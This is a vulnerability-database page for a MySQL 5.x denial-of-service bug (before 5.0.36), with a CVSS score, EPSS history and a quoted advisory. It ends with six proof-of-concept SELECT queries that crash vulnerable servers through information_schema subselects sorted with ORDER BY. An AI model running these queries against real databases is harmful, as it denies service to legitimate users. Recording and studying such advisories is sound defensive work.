CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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MySQL 5.x before 5.0.36 allows local users to cause a denial of service (database crash) by performing information_schema table subselects and using ORDER BY to sort a single-row result, which prevents certain structure elements from being initialized and triggers a NULL dereference in the filesort function.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.16%
–
–
2022-03-06
–
–
3.16%
–
–
2022-04-03
–
–
3.16%
–
–
2022-05-15
–
–
3.16%
–
–
2022-11-13
–
–
3.16%
–
–
2022-11-20
–
–
3.16%
–
–
2022-12-18
–
–
3.16%
–
–
2023-01-01
–
–
3.16%
–
–
2023-02-05
–
–
3.16%
–
–
2023-03-12
–
–
–
0.05%
–
2023-03-19
–
–
–
0.05%
–
2023-04-09
–
–
–
0.05%
–
2023-04-16
–
–
–
0.05%
–
2023-05-14
–
–
–
0.05%
–
2023-05-28
–
–
–
0.05%
–
2023-07-16
–
–
–
0.05%
–
2023-07-23
–
–
–
0.05%
–
2023-09-17
–
–
–
0.05%
–
2023-12-03
–
–
–
0.05%
–
2023-12-10
–
–
–
0.05%
–
2024-03-31
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-06-16
–
–
–
0.05%
–
2024-08-04
–
–
–
0.05%
–
2024-08-11
–
–
–
0.05%
–
2024-09-22
–
–
–
0.08%
–
2024-11-24
–
–
–
0.08%
–
2024-12-22
–
–
–
2.67%
–
2025-01-19
–
–
–
2.67%
–
2025-03-18
–
–
–
–
0.07%
2025-03-30
–
–
–
–
0.07%
2025-04-15
–
–
–
–
0.07%
2025-04-15
–
–
–
–
0.07,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/22900/info
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain select statements to database metadata.
An attacker can exploit this issue to crash the application, denying access to legitimate users. The attacker may also be able to execute arbitrary code, but this has not yet been confirmed.
NOTE: An attacker must be able to execute arbitrary SELECT statements on the vulnerable computer to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
Versions prior to 5.0.36 are vulnerable.
SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');